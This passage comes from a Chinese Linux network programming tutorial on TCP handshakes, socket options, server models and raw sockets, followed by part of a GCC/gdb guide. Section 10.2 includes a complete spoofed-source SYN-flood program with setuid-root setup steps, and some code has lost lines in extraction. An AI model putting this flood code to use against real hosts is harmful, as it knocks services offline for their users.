第一步客戶機向伺服器發送一個TCP數據包,表示請求建立連接. 為此,客戶端將數據包的
SYN位設置為1,並且設置序列號seq=1000(我們假設為1000).
第二步伺服器收到了數據包,並從SYN位為1知道這是一個建立請求的連接.於是伺服器也
向客戶端發送一個TCP數據包.因為是響應客戶機的請求,於是伺服器設置ACK為1,sak_se
q=1001(1000+1)同時設置自己的序列號.seq=2000(我們假設為2000).
第三步客戶機收到了伺服器的TCP,並從ACK為1和ack_seq=1001知道是從伺服器來的確認
信息.於是客戶機也向伺服器發送確認信息.客戶機設置ACK=1,和ack_seq=2001,seq=100
1,發送給伺服器.至此客戶端完成連接.
最後一步伺服器受到確認信息,也完成連接.
通過上面幾個步驟,一個TCP連接就建立了.當然在建立過程中可能出現錯誤,不過TCP協議
可以保證自己去處理錯誤的.
說一說其中的一種錯誤.
聽說過DOS嗎?(可不是操作系統啊).今年春節的時候,美國的五大網站一起受到攻擊.攻
擊者用的就是DOS(拒絕式服務)方式.概括的說一下原理.
客戶機先進行第一個步驟.伺服器收到后,進行第二個步驟.按照正常的TCP連接,客戶機
應該進行第三個步驟.
不過攻擊者實際上並不進行第三個步驟.因為客戶端在進行第一個步驟的時候,修改了自
己的IP地址,就是說將一個實際上不存在的IP填充在自己IP數據包的發送者的IP一欄.這
樣因為伺服器發的IP地址沒有人接收,所以服務端會收不到第三個步驟的確認信號,這樣
服務務端會在那邊一直等待,直到超時.
這樣當有大量的客戶發出請求后,服務端會有大量等待,直到所有的資源被用光,而不能再
接收客戶機的請求.
這樣當正常的用戶向伺服器發出請求時,由於沒有了資源而不能成功.於是就出現了春節
時所出現的情況.
----------------------------------------------------------------------------

網路編程(8)

8. 套接字選項
有時候我們要控制套接字的行為(如修改緩衝區的大小),這個時候我們就要控制套接字的
選項了.
8.1 getsockopt和setsockopt
int getsockopt(int sockfd,int level,int optname,void *optval,socklen_t *optl
en)
int setsockopt(int sockfd,int level,int optname,const void *optval,socklen_t
*optlen)
level指定控制套接字的層次.可以取三種值: 1)SOL_SOCKET:通用套接字選項. 2)IPPRO
TO_IP:IP選項. 3)IPPROTO_TCP:TCP選項.
optname指定控制的方式(選項的名稱),我們下面詳細解釋
optval獲得或者是設置套接字選項.根據選項名稱的數據類型進行轉換
選項名稱 說明 數據類型
========================================================================
SOL_SOCKET
------------------------------------------------------------------------
SO_BROADCAST 允許發送廣播數據 int
SO_DEBUG 允許調試 int
SO_DONTROUTE 不查找路由 int
SO_ERROR 獲得套接字錯誤 int
SO_KEEPALIVE 保持連接 int
SO_LINGER 延遲關閉連接 struct linge
r
SO_OOBINLINE 帶外數據放入正常數據流 int
SO_RCVBUF 接收緩衝區大小 int
SO_SNDBUF 發送緩衝區大小 int
SO_RCVLOWAT 接收緩衝區下限 int
SO_SNDLOWAT 發送緩衝區下限 int
SO_RCVTIMEO 接收超時 struct timev
al
SO_SNDTIMEO 發送超時 struct timev
al
SO_REUSERADDR 允許重用本地地址和埠 int
SO_TYPE 獲得套接字類型 int
SO_BSDCOMPAT 與BSD系統兼容 int
==========================================================================
IPPROTO_IP
--------------------------------------------------------------------------
IP_HDRINCL 在數據包中包含IP首部 int
IP_OPTINOS IP首部選項 int
IP_TOS 服務類型
IP_TTL 生存時間 int
==========================================================================
IPPRO_TCP
--------------------------------------------------------------------------
TCP_MAXSEG TCP最大數據段的大小 int
TCP_NODELAY 不使用Nagle演算法 int
=========================================================================
關於這些選項的詳細情況請查看 Linux Programmer's Manual
8.2 ioctl
ioctl可以控制所有的文件描述符的情況,這裡介紹一下控制套接字的選項.
int ioctl(int fd,int req,...)
==========================================================================
ioctl的控制選項
--------------------------------------------------------------------------
SIOCATMARK 是否到達帶外標記 int
FIOASYNC 非同步輸入/輸出標誌 int
FIONREAD 緩衝區可讀的位元組數 int
==========================================================================
詳細的選項請用 man ioctl_list 查看.
--

網路編程(9)

9. 伺服器模型
學習過《軟體工程》吧.軟體工程可是每一個程序員"必修"的課程啊.如果你沒有學習過
, 建議你去看一看. 在這一章裡面,我們一起來從軟體工程的角度學習網路編程的思想.
在我們寫程序之前, 我們都應該從軟體工程的角度規劃好我們的軟體,這樣我們開發軟體
的效率才會高. 在網路程序裡面,一般的來說都是許多客戶機對應一個伺服器.為了處理
客戶機的請求, 對服務端的程序就提出了特殊的要求.我們學習一下目前最常用的伺服器
模型.
循環伺服器:循環伺服器在同一個時刻只可以響應一個客戶端的請求
併發伺服器:併發伺服器在同一個時刻可以響應多個客戶端的請求
9.1 循環伺服器:UDP伺服器
UDP循環伺服器的實現非常簡單:UDP伺服器每次從套接字上讀取一個客戶端的請求,處理
, 然後將結果返回給客戶機.
可以用下面的演算法來實現.
socket(...);
bind(...);
while(1)
{
recvfrom(...);
process(...);
sendto(...);
}
因為UDP是非面向連接的,沒有一個客戶端可以老是佔住服務端. 只要處理過程不是死循
環, 伺服器對於每一個客戶機的請求總是能夠滿足.
9.2 循環伺服器:TCP伺服器
TCP循環伺服器的實現也不難:TCP伺服器接受一個客戶端的連接,然後處理,完成了這個客
戶的所有請求后,斷開連接.
演算法如下:
socket(...);
bind(...);
listen(...);
while(1)
{
accept(...);
while(1)
{
read(...);
process(...);
write(...);
}
close(...);
}
TCP循環伺服器一次只能處理一個客戶端的請求.只有在這個客戶的所有請求都滿足后,
伺服器才可以繼續後面的請求.這樣如果有一個客戶端佔住伺服器不放時,其它的客戶機
都不能工作了.因此,TCP伺服器一般很少用循環伺服器模型的.
9.3 併發伺服器:TCP伺服器
為了彌補循環TCP伺服器的缺陷,人們又想出了併發伺服器的模型. 併發伺服器的思想是
每一個客戶機的請求並不由伺服器直接處理,而是伺服器創建一個 子進程來處理.
演算法如下:
socket(...);
bind(...);
listen(...);
while(1)
{
accept(...);
if(fork(..)==0)
{
while(1)
{
read(...);
process(...);
write(...);
}
close(...);
exit(...);
}
close(...);
}
TCP併發伺服器可以解決TCP循環伺服器客戶機獨佔伺服器的情況. 不過也同時帶來了一
個不小的問題.為了響應客戶機的請求,伺服器要創建子進程來處理. 而創建子進程是一
種非常消耗資源的操作.
9.4 併發伺服器:多路復用I/O
為了解決創建子進程帶來的系統資源消耗,人們又想出了多路復用I/O模型.
首先介紹一個函數select
int select(int nfds,fd_set *readfds,fd_set *writefds,
fd_set *except fds,struct timeval *timeout)
void FD_SET(int fd,fd_set *fdset)
void FD_CLR(int fd,fd_set *fdset)
void FD_ZERO(fd_set *fdset)
int FD_ISSET(int fd,fd_set *fdset)
一般的來說當我們在向文件讀寫時,進程有可能在讀寫出阻塞,直到一定的條件滿足. 比
如我們從一個套接字讀數據時,可能緩衝區裡面沒有數據可讀(通信的對方還沒有 發送數
據過來),這個時候我們的讀調用就會等待(阻塞)直到有數據可讀.如果我們不 希望阻塞
,我們的一個選擇是用select系統調用. 只要我們設置好select的各個參數,那麼當文件
可以讀寫的時候select回"通知"我們 說可以讀寫了. readfds所有要讀的文件文件描述
符的集合
writefds所有要的寫文件文件描述符的集合
exceptfds其他的服要向我們通知的文件描述符
timeout超時設置.
nfds所有我們監控的文件描述符中最大的那一個加1
在我們調用select時進程會一直阻塞直到以下的一種情況發生. 1)有文件可以讀.2)有文
件可以寫.3)超時所設置的時間到.
為了設置文件描述符我們要使用幾個宏. FD_SET將fd加入到fdset
FD_CLR將fd從fdset裡面清除
FD_ZERO從fdset中清除所有的文件描述符
FD_ISSET判斷fd是否在fdset集合中
使用select的一個例子
int use_select(int *readfd,int n)
{
fd_set my_readfd;
int maxfd;
int i;
maxfd=readfd[0];
for(i=1;i if(readfd>maxfd) maxfd=readfd;
while(1)
{
/* 將所有的文件描述符加入 */
FD_ZERO(&my_readfd);
for(i=0;i FD_SET(readfd,*my_readfd);
/* 進程阻塞 */
select(maxfd+1,& my_readfd,NULL,NULL,NULL);
/* 有東西可以讀了 */
for(i=0;i if(FD_ISSET(readfd,&my_readfd))
{
/* 原來是我可以讀了 */
we_read(readfd);
}
}
}
使用select后我們的伺服器程序就變成了.
初始話(socket,bind,listen);
while(1)
{
設置監聽讀寫文件描述符(FD_*);
調用select;
如果是傾聽套接字就緒,說明一個新的連接請求建立
{
建立連接(accept);
加入到監聽文件描述符中去;
}
否則說明是一個已經連接過的描述符
{
進行操作(read或者write);
}
}
多路復用I/O可以解決資源限制的問題.著模型實際上是將UDP循環模型用在了TCP上面.
這也就帶來了一些問題.如由於伺服器依次處理客戶的請求,所以可能會導致有的客戶 會
等待很久.
9.5 併發伺服器:UDP伺服器
人們把併發的概念用於UDP就得到了併發UDP伺服器模型. 併發UDP伺服器模型其實是簡單
的.和併發的TCP伺服器模型一樣是創建一個子進程來處理的 演算法和併發的TCP模型一樣
..
除非伺服器在處理客戶端的請求所用的時間比較長以外,人們實際上很少用這種模型.
9.6 一個併發TCP伺服器實例
#include
#include
#include
#include
#include
#define MY_PORT 8888
int main(int argc ,char **argv)
{
int listen_fd,accept_fd;
struct sockaddr_in client_addr;
int n;
if((listen_fd=socket(AF_INET,SOCK_STREAM,0))<0)
{
printf("Socket Error:%s\n\a",strerror(errno));
exit(1);
}
bzero(&client_addr,sizeof(struct sockaddr_in));
client_addr.sin_family=AF_INET;
client_addr.sin_port=htons(MY_PORT);
client_addr.sin_addr.s_addr=htonl(INADDR_ANY);
n=1;
/* 如果伺服器終止后,伺服器可以第二次快速啟動而不用等待一段時間 */
setsockopt(listen_fd,SOL_SOCKET,SO_REUSEADDR,&n,sizeof(int));
if(bind(listen_fd,(struct sockaddr *)&client_addr,sizeof(client_addr))<0)
{
printf("Bind Error:%s\n\a",strerror(errno));
exit(1);
}
listen(listen_fd,5);
while(1)
{
accept_fd=accept(listen_fd,NULL,NULL);
if((accept_fd<0)&&(errno==EINTR))
continue;
else if(accept_fd<0)
{
printf("Accept Error:%s\n\a",strerror(errno));
continue;
}
if((n=fork())==0)
{
/* 子進程處理客戶端的連接 */
char buffer[1024];
close(listen_fd);
n=read(accept_fd,buffer,1024);
write(accept_fd,buffer,n);
close(accept_fd);
exit(0);
}
else if(n<0)
printf("Fork Error:%s\n\a",strerror(errno));
close(accept_fd);
}
}
你可以用我們前面寫客戶端程序來調試著程序,或者是用來telnet調試
--

網路編程(10)

10. 原始套接字
我們在前面已經學習過了網路程序的兩種套接字(SOCK_STREAM,SOCK_DRAGM).在這一章
裡面我們一起來學習另外一種套接字--原始套接字(SOCK_RAW). 應用原始套接字,我們可
以編寫出由TCP和UDP套接字不能夠實現的功能. 注意原始套接字只能夠由有root許可權的
人創建.
10.1 原始套接字的創建
int sockfd(AF_INET,SOCK_RAW,protocol)
可以創建一個原始套接字.根據協議的類型不同我們可以創建不同類型的原始套接字 比
如:IPPROTO_ICMP,IPPROTO_TCP,IPPROTO_UDP等等.詳細的情況查看
面我們以一個實例來說明原始套接字的創建和使用
10.2 一個原始套接字的實例
還記得DOS是什麼意思嗎?在這裡我們就一起來編寫一個實現DOS的小程序. 下面是程序的
源代碼
/******************** DOS.c *****************/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define DESTPORT 80 /* 要攻擊的埠(WEB) */
#define LOCALPORT 8888
void send_tcp(int sockfd,struct sockaddr_in *addr);
unsigned short check_sum(unsigned short *addr,int len);
int main(int argc,char **argv)
{
int sockfd;
struct sockaddr_in addr;
struct hostent *host;
int on=1;
if(argc!=2)
{
fprintf(stderr,"Usage:%s hostname\n\a",argv[0]);
exit(1);
}
bzero(&addr,sizeof(struct sockaddr_in));
addr.sin_family=AF_INET;
addr.sin_port=htons(DESTPORT);
if(inet_aton(argv[1],&addr.sin_addr)==0)
{
host=gethostbyname(argv[1]);
if(host==NULL)
{
fprintf(stderr,"HostName Error:%s\n\a",hstrerror(h_errno));
exit(1);
}
addr.sin_addr=*(struct in_addr *)(host->h_addr_list[0]);
}
/**** 使用IPPROTO_TCP創建一個TCP的原始套接字 ****/
sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);
if(sockfd<0)
{
fprintf(stderr,"Socket Error:%s\n\a",strerror(errno));
exit(1);
}
/******** 設置IP數據包格式,告訴系統內核模塊IP數據包由我們自己來填寫 ***/
setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));
/**** 沒有辦法,只用超級護用戶才可以使用原始套接字 *********/
setuid(getpid());
/********* 發送炸彈了!!!! ****/
send_tcp(sockfd,&addr);
}
/******* 發送炸彈的實現 *********/
void send_tcp(int sockfd,struct sockaddr_in *addr)
{
char buffer[100]; /**** 用來放置我們的數據包 ****/
struct ip *ip;
struct tcphdr *tcp;
int head_len;
/******* 我們的數據包實際上沒有任何內容,所以長度就是兩個結構的長度 ***/
head_len=sizeof(struct ip)+sizeof(struct tcphdr);
bzero(buffer,100);
/******** 填充IP數據包的頭部,還記得IP的頭格式嗎? ******/
ip=(struct ip *)buffer;
ip->ip_v=IPVERSION; /** 版本一般的是 4 **/
ip->ip_hl=sizeof(struct ip)>>2; /** IP數據包的頭部長度 **/
ip->ip_tos=0; /** 服務類型 **/
ip->ip_len=htons(head_len); /** IP數據包的長度 **/
ip->ip_id=0; /** 讓系統去填寫吧 **/
ip->ip_off=0; /** 和上面一樣,省點時間 **/
ip->ip_ttl=MAXTTL; /** 最長的時間 255 **/
ip->ip_p=IPPROTO_TCP; /** 我們要發的是 TCP包 **/
ip->ip_sum=0; /** 校驗和讓系統去做 **/
ip->ip_dst=addr->sin_addr; /** 我們攻擊的對象 **/
/******* 開始填寫TCP數據包 *****/
tcp=(struct tcphdr *)(buffer +sizeof(struct ip));
tcp->source=htons(LOCALPORT);
tcp->dest=addr->sin_port; /** 目的埠 **/
tcp->seq=random();
tcp->ack_seq=0;
tcp->doff=5;
tcp->syn=1; /** 我要建立連接 **/
tcp->check=0;
/** 好了,一切都準備好了.伺服器,你準備好了沒有?? ^_^ **/
while(1)
{
/** 你不知道我是從那裡來的,慢慢的去等吧! **/
ip->ip_src.s_addr=random();
/** 什麼都讓系統做了,也沒有多大的意思,還是讓我們自己來校驗頭部吧 */
/** 下面這條可有可無 */
tcp->check=check_sum((unsigned short *)tcp,
sizeof(struct tcphdr));
sendto(sockfd,buffer,head_len,0,addr,sizeof(struct sockaddr_in));
}
}
/* 下面是首部校驗和的演算法,偷了別人的 */
unsigned short check_sum(unsigned short *addr,int len)
{
register int nleft=len;
register int sum=0;
register short *w=addr;
short answer=0;
while(nleft>1)
{
sum+=*w++;
nleft-=2;
}
if(nleft==1)
{
*(unsigned char *)(&answer)=*(unsigned char *)w;
sum+=answer;
}
sum=(sum>>16)+(sum&0xffff);
sum+=(sum>>16);
answer=~sum;
return(answer);
}
編譯一下,拿localhost做一下實驗,看看有什麼結果.(千萬不要試別人的啊). 為了讓普
通用戶可以運行這個程序,我們應該將這個程序的所有者變為root,且 設置setuid位
[root@hoyt /root]#chown root DOS
[root@hoyt /root]#chmod +s DOS
10.3 總結
原始套接字和一般的套接字不同的是以前許多由系統做的事情,現在要由我們自己來做了
.. 不過這裡面是不是有很多的樂趣呢. 當我們創建了一個TCP套接字的時候,我們只是負
責把我們要發送的內容(buffer)傳遞給了系統. 系統在收到我們的數據后,回自動的調用
相應的模塊給數據加上TCP頭部,然後加上IP頭部. 再發送出去.而現在是我們自己創建各
個的頭部,系統只是把它們發送出去. 在上面的實例中,由於我們要修改我們的源IP地址
,所以我們使用了setsockopt函數,如果我們只是修改TCP數據,那麼IP數據一樣也可以由
系統來創建的.
--

網路編程(11)

11. 後記
總算完成了網路編程這個教程.算起來我差不多寫了一個星期,原來以為寫這個應該是
一件 不難的事,做起來才知道原來有很多的地方都比我想象的要難.我還把很多的東西都
省略掉了 不過寫完了這篇教程以後,我好象對網路的認識又增加了一步.
如果我們只是編寫一般的 網路程序還是比較容易的,但是如果我們想寫出比較好的網
絡程序我們還有著遙遠的路要走. 網路程序一般的來說都是多進程加上多線程的.為了處
理好他們內部的關係,我們還要學習 進程之間的通信.在網路程序裡面有著許許多多的突
發事件,為此我們還要去學習更高級的 事件處理知識.現在的信息越來越多了,為了處理
好這些信息,我們還要去學習資料庫. 如果要編寫出有用的黑客軟體,我們還要去熟悉各
種網路協議.總之我們要學的東西還很多很多.
看一看外國的軟體水平,看一看印度的軟體水平,寶島台灣的水平,再看一看我們自己的
軟體水平大家就會知道了什麼叫做差距.我們現在用的軟體有幾個是我們中國人自己編
寫的.
不過大家不要害怕,不用擔心.只要我們還是清醒的,還能夠認清我們和別人的差距, 我
們就還有希望. 畢竟我們現在還年輕.只要我們努力,認真的去學習,我們一定能夠學好的
..我們就可以追上別人直到超過別人!
相信一點:
別人可以做到的我們一樣可以做到,而且可以比別人做的更好!
勇敢的年輕人,為了我們偉大祖國的軟體產業,為了祖國的未來,努力的去奮鬥吧!祖國
會記住你們的!
hoyt
11.1 參考資料



9)Linux下C開發工具介紹

Linux的發行版中包含了很多軟體開發工具. 它們中的很多是用於 C 和 C++應用程序開發
的. 本文介紹了在 Linux 下能用於 C 應用程序開發和調試的工具. 本文的主旨是介紹如
何在 Linux 下使用 C 編譯器和其他 C 編程工具, 而非 C 語言編程的教程.

GNU C 編譯器
GNU C 編譯器(GCC)是一個全功能的 ANSI C 兼容編譯器. 如果你熟悉其他操作系統或硬
件平台上的一種 C 編譯器, 你將能很快地掌握 GCC. 本節將介紹如何使用 GCC 和一些
GCC 編譯器最常用的選項.

使用 GCC
通常後跟一些選項和文件名來使用 GCC 編譯器. gcc 命令的基本用法如下:

gcc [options] [filenames]
命令行選項指定的操作將在命令行上每個給出的文件上執行. 下一小節將敘述一些你會最
常用到的選項.

GCC 選項
GCC 有超過100個的編譯選項可用. 這些選項中的許多你可能永遠都不會用到, 但一些主
要的選項將會頻繁用到. 很多的 GCC 選項包括一個以上的字元. 因此你必須為每個選項
指定各自的連字元, 並且就象大多數 Linux 命令一樣你不能在一個單獨的連字元後跟一
組選項. 例如, 下面的兩個命令是不同的:

gcc -p -g test.c

gcc -pg test.c
第一條命令告訴 GCC 編譯 test.c 時為 prof 命令建立剖析(profile)信息並且把調試信
息加入到可執行的文件里. 第二條命令只告訴 GCC 為 gprof 命令建立剖析信息.

當你不用任何選項編譯一個程序時, GCC 將會建立(假定編譯成功)一個名為 a.out 的可
執行文件. 例如, 下面的命令將在當前目錄下產生一個叫 a.out 的文件:

gcc test.c
你能用 -o 編譯選項來為將產生的可執行文件指定一個文件名來代替 a.out. 例如, 將一
個叫 count.c 的 C 程序編譯為名叫 count 的可執行文件, 你將輸入下面的命令:

gcc -o count count.c

------------------------------------------------------------------------------
--

注意: 當你使用 -o 選項時, -o 後面必須跟一個文件名.

------------------------------------------------------------------------------
--

GCC 同樣有指定編譯器處理多少的編譯選項. -c 選項告訴 GCC 僅把源代碼編譯為目標代
碼而跳過彙編和連接的步驟. 這個選項使用的非常頻繁因為它使得編譯多個 C 程序時速
度更快並且更易於管理. 預設時 GCC 建立的目標代碼文件有一個 .o 的擴展名.

-S 編譯選項告訴 GCC 在為 C 代碼產生了彙編語言文件后停止編譯. GCC 產生的彙編語
言文件的預設擴展名是 .s . -E 選項指示編譯器僅對輸入文件進行預處理. 當這個選項
被使用時, 預處理器的輸出被送到標準輸出而不是儲存在文件里.

優 化 選 項
當你用 GCC 編譯 C 代碼時, 它會試著用最少的時間完成編譯並且使編譯后的代碼易於調
試. 易於調試意味著編譯后的代碼與源代碼有同樣的執行次序, 編譯后的代碼沒有經過優
化. 有很多選項可用於告訴 GCC 在耗費更多編譯時間和犧牲易調試性的基礎上產生更小
更快的可執行文件. 這些選項中最典型的是-O 和 -O2 選項.

-O 選項告訴 GCC 對源代碼進行基本優化. 這些優化在大多數情況下都會使程序執行的更
快. -O2 選項告訴 GCC 產生儘可能小和儘可能快的代碼. -O2 選項將使編譯的速度比使
用 -O 時慢. 但通常產生的代碼執行速度會更快.

除了 -O 和 -O2 優化選項外, 還有一些低級選項用於產生更快的代碼. 這些選項非常的
特殊, 而且最好只有當你完全理解這些選項將會對編譯后的代碼產生什麼樣的效果時再去
使用. 這些選項的詳細描述, 請參考 GCC 的指南頁, 在命令行上鍵入 man gcc .

調試和剖析選項
GCC 支持數種調試和剖析選項. 在這些選項里你會最常用到的是 -g 和 -pg 選項.
-g 選項告訴 GCC 產生能被 GNU 調試器使用的調試信息以便調試你的程序. GCC 提供了
一個很多其他 C 編譯器里沒有的特性, 在 GCC 里你能使 -g 和 -O (產生優化代碼)聯用
.. 這一點非常有用因為你能在與最終產品儘可能相近的情況下調試你的代碼. 在你同時使
用這兩個選項時你必須清楚你所寫的某些代碼已經在優化時被 GCC 作了改動. 關於調試
C 程序的更多信息請看下一節"用 gdb 調試 C 程序" .
-pg 選項告訴 GCC 在你的程序里加入額外的代碼, 執行時, 產生 gprof 用的剖析信息以
顯示你的程序的耗時情況. 關於 gprof 的更多信息請參考 "gprof" 一節.

用 gdb 調試 GCC 程序
Linux 包含了一個叫 gdb 的 GNU 調試程序. gdb 是一個用來調試 C 和 C++ 程序的強力
調試器. 它使你能在程序運行時觀察程序的內部結構和內存的使用情況. 以下是 gdb 所
提供的一些功能:

它使你能監視你程序中變數的值.
它使你能設置斷點以使程序在指定的代碼行上停止執行.
它使你能一行行的執行你的代碼.

在命令行上鍵入 gdb 並按回車鍵就可以運行 gdb 了, 如果一切正常的話, gdb 將被啟動
並且你將在屏幕上看到類似的內容:

GNU gdb 5.0
Copyright 2000 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux".
(gdb)
當你啟動 gdb 后, 你能在命令行上指定很多的選項. 你也可以以下面的方式來運行 gdb
:

gdb
當你用這種方式運行 gdb , 你能直接指定想要調試的程序. 這將告訴gdb 裝入名為
fname 的可執行文件. 你也可以用 gdb 去檢查一個因程序異常終止而產生的 core 文件,
或者與一個正在運行的程序相連. 你可以參考 gdb 指南頁或在命令行上鍵入 gdb -h 得
到一個有關這些選項的說明的簡單列表.

為調試編譯代碼(Compiling Code for Debugging)
為了使 gdb 正常工作, 你必須使你的程序在編譯時包含調試信息. 調試信息包含你程序
里的每個變數的類型和在可執行文件里的地址映射以及源代碼的行號. gdb 利用這些信
息使源代碼和機器碼相關聯.

在編譯時用 -g 選項打開調試選項.

gdb 基本命令
gdb 支持很多的命令使你能實現不同的功能. 這些命令從簡單的文件裝入到允許你檢查所
調用的堆棧內容的複雜命令, 表27.1列出了你在用 gdb 調試時會用到的一些命令. 想了
解 gdb 的詳細使用請參考 gdb 的指南頁.

基本 gdb 命令.

命 令 描 述
file 裝入想要調試的可執行文件.
kill 終止正在調試的程序.
list 列出產生執行文件的源代碼的一部分.
next 執行一行源代碼但不進入函數內部.
step 執行一行源代碼而且進入函數內部.
run 執行當前被調試的程序
quit 終止 gdb
watch 使你能監視一個變數的值而不管它何時被改變.
print 顯示錶達式的值
break 在代碼里設置斷點, 這將使程序執行到這裡時被掛起.
make 使你能不退出 gdb 就可以重新產生可執行文件.
shell 使你能不離開 gdb 就執行 UNIX shell 命令.

gdb 支持很多與 UNIX shell 程序一樣的命令編輯特徵. 你能象在 bash 或 tcsh里那樣
按 Tab 鍵讓 gdb 幫你補齊一個唯一的命令, 如果不唯一的話 gdb 會列出所有匹配的命
令. 你也能用游標鍵上下翻動歷史命令.

gdb 應用舉例
本節用一個實例教你一步步的用 gdb 調試程序. 被調試的程序相當的簡單, 但它展示了
gdb 的典型應用.

下面列出了將被調試的程序. 這個程序被稱為 hello , 它顯示一個簡單的問候, 再用反
序將它列出.

#include

static void my_print (char *);
static void my_print2 (char *);

main ()
{
char my_string[] = "hello world!";
my_print (my_string);
my_print2 (my_string);
}

void my_print (char *string)
{
printf ("The string is %s ", string);
}

void my_print2 (char *string)
{
char *string2;
int size, i;

size = strlen (string);
string2 = (char *) malloc (size + 1);
for (i = 0; i < size; i++)
string2[size - i] = string;
string2[size+1] = '';

printf ("The string printed backward is %s ", string2);
}
用下面的命令編譯它:

gcc -g -o hello hello.c
這個程序執行時顯示如下結果:
../hello
The string is hello world!

The string printed backward is
輸出的第一行是正確的, 但第二行列印出的東西並不是我們所期望的. 我們所設想的輸出
應該是:

The string printed backward is !dlrow olleh
由於某些原因, my_print2 函數沒有正常工作. 讓我們用 gdb 看看問題究竟出在哪兒,
先鍵入如下命令:

gdb hello

------------------------------------------------------------------------------
--

注意: 記得在編譯 hello 程序時把調試選項打開.

------------------------------------------------------------------------------
--

如果你在輸入命令時忘了把要調試的程序作為參數傳給 gdb , 你可以在 gdb 提示符下用
file 命令來載入它:

(gdb) file hello
這個命令將載入 hello 可執行文件就象你在 gdb 命令行里裝入它一樣.

這時你能用 gdb 的 run 命令來運行 hello 了. 當它在 gdb 里被運行后結果大約會象這
樣:

(gdb) run

Starting program: /root/hello

The string is hello world!

The string printed backward is

Program exited with code 040
這個輸出和在 gdb 外面運行的結果一樣. 問題是, 為什麼反序列印沒有工作? 為了找出
癥結所在, 我們可以在 my_print2 函數的 for 語句後設一個斷點, 具體的做法是在 gdb
提示符下鍵入 list 命令三次, 列出源代碼:

(gdb) list

(gdb) list

(gdb) list

------------------------------------------------------------------------------
--

技巧: 在 gdb 提示符下按回車健將重複上一個命令.

------------------------------------------------------------------------------
--

第一次鍵入 list 命令的輸出如下:

1 #include
2
3 static void my_print (char *);
4 static void my_print2 (char *);
5
6 main ()
7 {
8 char my_string[] = "hello world!";
9 my_print (my_string);
10 my_print2 (my_string);

如果按下回車, gdb 將再執行一次 list 命令, 給出下列輸出:

11 }
12
13 void my_print (char *string)
14 {
15 printf ("The string is %s ", string);
16 }
17
18 void my_print2 (char *string)
19 {
20 char *string2;
再按一次回車將列出 hello 程序的剩餘部分:

21 int size, i;
22
23 size = strlen (string);
24 string2 = (char *) malloc (size + 1);
25 for (i = 0; i < size; i++)
26 string2[size - i] = string;
27 string2[size+1] = '';
28
29 printf ("The string printed backward is %s ", string2);
30 }
根據列出的源程序, 你能看到要設斷點的地方在第26行, 在 gdb 命令行提示符下鍵入如
下命令設置斷點:

(gdb) break 26
gdb 將作出如下的響應:

Breakpoint 1 at 0x804857c: file hello.c, line 26.

(gdb)

現在再鍵入 run 命令, 將產生如下的輸出:

Starting program: /root/hello

The string is hello world!

Breakpoint 1, my_print2 (string=0xbffffab0 "hello world!") at hello.c:26
26 string2[size - i] = string;
你能通過設置一個觀察 string2[size - i] 變數的值的觀察點來看出錯誤是怎樣產生的,
做法是鍵入:

(gdb) watch string2[size - i]
gdb 將作出如下回應:

Hardware watchpoint 2: string2[size - i]
現在可以用 next 命令來一步步的執行 for 循環了:

(gdb) next
經過第一次循環后, gdb 告訴我們 string2[size - i] 的值是 `h`. gdb 用如下的顯示
來告訴你這個信息:

Hardware watchpoint 2: string2[size - i]

Old value = 0 '00'
New value = 104 'h'
my_print2 (string=0xbffffab0 "hello world!") at hello.c:25
25 for (i = 0; i < size; i++)
這個值正是期望的. 後來的數次循環的結果都是正確的. 當 i=11 時, 表達式
string2[size - i] 的值等於 `!`, size - i 的值等於 1, 最後一個字元已經拷到新串
里了.

如果你再把循環執行下去, 你會看到已經沒有值分配給 string2[0] 了, 而它是新串的
第一個字元, 因為 malloc 函數在分配內存時把它們初始化為空(null)字元. 所以
string2 的第一個字元是空字元. 這解釋了為什麼在列印 string2 時沒有任何輸出了.

現在找出了問題出在哪裡, 修正這個錯誤是很容易的. 你得把代碼里寫入 string2 的第
一個字元的的偏移量改為 size - 1 而不是 size. 這是因為 string2 的大小為 12, 但
起始偏移量是 0, 串內的字元從偏移量 0 到 偏移量 10, 偏移量 11 為空字元保留.

改正方法非常簡單. 這是這種解決辦法的代碼:

#include

static void my_print (char *);
static void my_print2 (char *);

main ()
{
char my_string[] = "hello world!";
my_print (my_string);
my_print2 (my_string);
}

void my_print (char *string)
{
printf ("The string is %s ", string);
}

void my_print2 (char *string)
{
char *string2;
int size, i;

size = strlen (string);
string2 = (char *) malloc (size + 1);
for (i = 0; i < size; i++)
string2[size -1 - i] = string;
string2[size] = '';

printf ("The string printed backward is %s ", string2);
}
如果程序產生了core文件,可以用gdb hello core命令來查看程序在何處出錯。如在函數
my_print2()中,如果忘記了給string2分配內存 string2 = (char *) malloc (size +
1);,很可能就會core dump.

另外的 C 編程工具

xxgdb
xxgdb 是 gdb 的一個基於 X Window 系統的圖形界面. xxgdb 包括了命令行版的 gdb
上的所有特性. xxgdb 使你能通過按按鈕來執行常用的命令. 設置了斷點的地方也用圖
形來顯示.

你能在一個 Xterm 窗口裡鍵入下面的命令來運行它:

xxgdb
你能用 gdb 里任何有效的命令行選項來初始化 xxgdb . 此外 xxgdb 也有一些特有的命
令行選項, 表 27.2 列出了這些選項.

表 27.2. xxgdb 命令行選項.

選 項 描 述
db_name 指定所用調試器的名字, 預設是 gdb.
db_prompt 指定調試器提示符, 預設為 gdb.
gdbinit 指定初始化 gdb 的命令文件的文件名, 預設為 .gdbinit.

nx 告訴 xxgdb 不執行 .gdbinit 文件.
bigicon 使用大圖標.

calls
你可以在 sunsite.unc.edu FTP 站點用下面的路徑:
/pub/Linux/devel/lang/c/calls.tar.Z
來取得 calls , 一些舊版本的 Linux CD-ROM 發行版里也附帶有. 因為它是一個有用的
工具, 我們在這裡也介紹一下. 如果你覺得有用的話, 從 BBS, FTP, 或另一張CD-ROM 上
弄一個拷貝. calls 調用 GCC 的預處理器來處理給出的源程序文件, 然後輸出這些文件
的里的函數調用樹圖.

注意: 在你的系統上安裝 calls , 以超級用戶身份登錄后執行下面的步驟: 1. 解壓和
untar 文件. 2. cd 進入 calls untar 后建立的子目錄. 3. 把名叫 calls 的文件移動
到 /usr/bin 目錄. 4. 把名叫 calls.1 的文件移動到目錄 /usr/man/man1 . 5. 刪除
